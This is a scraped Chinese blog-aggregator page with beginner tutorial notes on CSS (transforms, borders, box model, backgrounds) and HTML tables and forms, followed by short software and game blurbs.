属性:transform 取值:scale(value) value为无单位的素值 表示缩放比例 默认值是1 正常比例显示 value > 1 会等比放大 0 < value < 1 等比缩小 value < 0 元素会等比反转 其他情况: scaleX(v) 横向缩放 scaleY(v) 垂直缩放 旋转变换: 元素旋转一定的角度显示 属性:transform 取值:rotate(ndeg) 表示元素按照指定的角度旋转 正值:顺时针 负值:逆时针 3D变换: rotateX(ndeg)沿X轴旋转 rotateY(ndeg)沿Y轴旋转 rotateZ(ndeg)沿Z轴旋转 旋转原点会影响转换效果 元素如果涉及旋转操作 会连带坐标轴一起旋转,影响后面的位移

优秀的个人博客,低调大师

Python全栈 Web(边框、盒模型、背景)

CSS常用的属性: width height color background-color font-size font-weight text-decoration vertical-align 尺寸单位和颜色: px % red rgb(255, 0, 0) reba(255, 0, 0, 0.5) #ff0000 #f00 尺寸 和 边框: 尺寸属性: width、height 用来改变元素的宽高大小 取值:px为单位的数字 或 % 快元素和行内快元素都可以设置宽高大小 行内元素不起作用,大小有内容自适应 溢出处理: 溢出属性:overflow 取值:visible(默认可见) hidden 隐藏 溢出部分不可见 scroll 显示滚动条 溢出时可用 始终显示 auto 自动当发生溢出的时 产生滚动条并可用 边框: 边框的实现: 1.简写设置 通过一个属性为4个方向设置边框 可以设置边框的宽度、样式、颜色 属性:border 取值:width style color(缺一不可) width:宽度 px style:边框样式 取值: solid:实线 dashed:虚线 dotted:点线 double:双线 color:设置边框颜色 特殊用法: 取消边框:border:none; 2.单独设置某个方向的边框 属性: border-top 上 border-right 右 border-bottom 下 border-left 左 取值:width style color(缺一不可) 3.单独定义边框的宽度、样式、颜色(了解) border-width: border-style: border-color: 4.边框实现三角标 元素的宽高尺寸为0 元素分别设置四个方向相同宽度 指定方向可以见 剩余的设置为不可见 透明(transparent) 想要设置三角标必须设置4个方向的边框 否则就是矩形 轮廓线: 围绕在元素边框周围的线 常见于表单元素 如:输入框焦点线 属性:outline 取值:width style color 一般多取消元素的默认轮廓线 outline:none 圆角边框: 设置元素的圆角 属性:border-radius 取值:px、%(参照元素尺寸) 取值情况: border-radius:20px; 一个值表示4个圆角程度都是20px 两个值表示 1和3 2和4 对角相等 三个值表示最后一个角和对角相等 四个值表示分别表示4个圆角程度 圆形:取一个值:%50; 边框阴影(盒阴影): 属性: box-shadow 取值: offset-x 水平偏移 offset-y 垂直偏移 blur 阴影的模糊度 值越大越模糊 spread 阴影的 延伸距离 color 阴影颜色 浏览器坐标系: 不管是窗口还是元素都以左上角为原点 作为x,y轴的正方向 盒模型/框模型: 一切元素皆为框 定义在文档中实际占据的尺寸 包含内容: 外边距、边框、内边距、元素尺寸 默认情况下元素最终占据的尺寸大小: 最终宽度 = 左右的外边距 + 左右边框的宽度 + 左右内边距 + 元素宽度 最终高度 = 上下的外边距 + 上下边框的高度 + 上下内边距 + 元素高度 1.外边距: 元素边框与其他元素边框之间的距离 设置元素与元素之间的距离 属性: margin 取值:px、% 取值情况: margin:10px; 一个值表示四个方向都设置外边距 两个值表示上下,左右的外边距相等 三个值表示左右相等其他不等 四个值表示分别设置上右下左的外边距 特殊用法: 1.清除元素的外边距 margin:0px; 2.设置元素在父元素中水平居中 margin:0px auto; 3.取值可以是负值 如果给负值表示位置微调 四个方向的外边距单独设置: 属性: margin-top margin-right margin-bottom margin-left 可以是一个值也可以是百分比 具有默认外边距的元素: 2.内边距: 元素的内容与元素边框的距离 属性:padding 取值:px、% 取值情况: padding:10px; 一个值表示四个方向的内边距 两个值表示上下,左右相等 三个值表示左右相等 其他不等 四个值表示分别设置四个方向的内边距 四个方向的内边距单独设置: padding-top padding-right padding-bottom padding-left 具有默认内边距的元素: ol ul 文本框 密码框 按钮 td box-sizing: 指定盒模型的计算方式 属性:box-sizing 取值: content-box 默认值 border-box: 元素的width height属性 设置包含边框 内边距和内容部分共同的尺寸 元素显示设置: 属性;display 作用;改变元素类型 取值: block 转换为块元素(可以设置隐藏显示) inline 转换为行内块元素 inline-block 转换为行内块元素 none 设置元素隐藏 背景相关的属性: 背景颜色是从边框位置开始绘制的 如果元素加内边距,也会按照背景颜色进行补充 所有的元素默认颜色都为透明 新建窗口为白色不是body的颜色 而是浏览器渲染的效果 属性: background-color 背景图片的设置: 属性;background-image 取值 url(图片地址) 图片平铺显示: 如果背景图片小于元素尺寸,会自动对图片重复平铺 属性: background-repeat 取值: repeat(默认) 水平和垂直方向平铺 no-repeat 不重复平铺 repeat-x 水平方向平铺 repeat-y 垂直方向平铺 图片尺寸: 属性:background-size 取值: px %: 采用当前元素的尺寸获取包含width height两个值 cover: 将图片等比拉伸至完全覆盖元素 超出部分裁剪掉 contain: 将图片等比拉伸至刚好被元素容纳 图片比例不变 图片的位置: 默认情况下 背景图片重从元素的左上角显示 属性: background-position 取值:x y 以像素为单位的数值没使用空格隔开 x 水平偏移距离(正负数都可以) y 垂直偏移距离(正负数都可以) x% y%: 百分比参照元素尺寸获取 0% 0%: 图片左上角显示 100% 100%: 背景图片右下角显示 50% 50%: 背景图片中间显示 使用方位值表示: x y x:left center right y:top center bottom 如果要一个方向 背景属性简写: 属性:background 取值: color url() repeat position 背景图片的大小需要单独设置

优秀的个人博客,低调大师

Android程序猿搞Web 之HTML(二)

1、表格的使用 1)、基本使用 作用:显示数据<table width="500"></table>表示单元格的盒子; <body> <table width="500" border="1" align="center" cellpadding="10" cellspacing="0" > <caption>数字表格</caption> <tr> <th>数字</th> </tr> <tr> <td align="center">123</td> </tr> <tr> <td >123</td> </tr> </table> </body> caption:表示表格标题 tr:表示行 td:表示单元格 th:表示表头单元格,使得字体自动居中加粗 align:设置在网页中水平位置 cellpadding:设置表格内内容与边框之间的距离 单位:像素 cellspacing:设置单元格与单元格边框之间的距离 单位:像素 表格内无“列”的概念。 表格规范一般为 3参为0 样图 2)、合并单元格 rowspan:表示跨行合并 colspan:表示跨列合并 <body> <table width="500" border="1" align="center" cellpadding="10" cellspacing="0" > <caption>数字表格</caption> <thead> <tr> <th colspan="3">数字</th> </tr> </thead> <tbody> <tr> <td align="center" colspan="2">123</td> <td align="center">abs</td> </tr> <tr> <td rowspan="2">123</td> <td align="center">123</td> <td align="center">abs</td> </tr> <tr> <td align="center">123</td> <td align="center">abs</td> </tr> </tbody> </table> </body> 样图 2、表单 <body> <table width="600" border="0" cellspacing="5" cellpadding="0" align="center"> <caption><h4>揣着上坟的心情来上班</h4></caption> <tr> <td>所在地区</td> <td ><input type="text" value="帝都" maxlength="4"></td> </tr> <tr> <td>密码</td> <td ><input type="password" ></td> </tr> <tr> <td>性别</td> <td> 男<input type="radio" name="sex"> 女<input type="radio" name="sex"> 不确定<input type="radio" name="sex"> </td> </tr> <tr> <td>喜欢类型</td> <td> 小鲜肉<input type="checkbox" checked="true"> 老腊肉<input type="checkbox"> 半男不女<input type="checkbox"> </td> </tr> <tr> <td></td> <td> <input type="button" value="注册" > <input type="submit" value="提交" > <input type="reset" value="重置" > <input type="image" src="error.png"> </td> </tr> <tr> <td>上传头像</td> <td> <input type="file"> </td> </tr> </table> </body> 1)、input属性 type的值包含:text(单行文本输入框)、password(密码输入框)、radio(单选输入框)、checkbox(复选框)、button(普通按钮)、submit(提交按钮)、reset(重置按钮)、image(图像形式的提交按钮)、file(文件域); value:input控件中的默认文本; name:当input的type为radio时(单选框),则必须设置该属性,并且同一组内的name的值必须相同,才可实现单选的效果; size:input控件显示宽度 checked: 选择控件默认选中的项目,类似于radiobutton maxlength:控件允许输入的最大字数 样图 2)、label标签 <body> <label > 用户名:<input type="text"> </label> </body> 当点击用户名三个字的时候,光标即可直接在输入框内出现 样图 3)、文本域 <body> <textarea name="文本域" id="" cols="30" rows="10"></textarea> </body> 样图 cols:表示可输入列数 rows:表示可输入行数 3、下拉菜单 <body> <select name="" id="" > <option value="">北京</option> <option value="" selected="selected">天津</option> <option value="">上海</option> </select> </body> selected :表示默认选择该选项 样图 4、表单域 <body> <form action="wwww.baidu.com" method="get"> 用户名:<input type="text" name="username"> <br/> <br/> 密 码:<input type="password" name="password"> <br> <br> <input type="submit" value="提交" > <input type="reset" value="重置"> </form> </body> action 表示:表单域提交收集到的数据到服务器的 url 地址。 method :提交方式 get 和 post 等等 样图

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

Nacos

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称,一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

Sublime Text

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。

WebStorm

WebStorm

WebStorm 是jetbrains公司旗下一款JavaScript 开发工具。目前已经被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。与IntelliJ IDEA同源,继承了IntelliJ IDEA强大的JS部分的功能。

用户登录
用户注册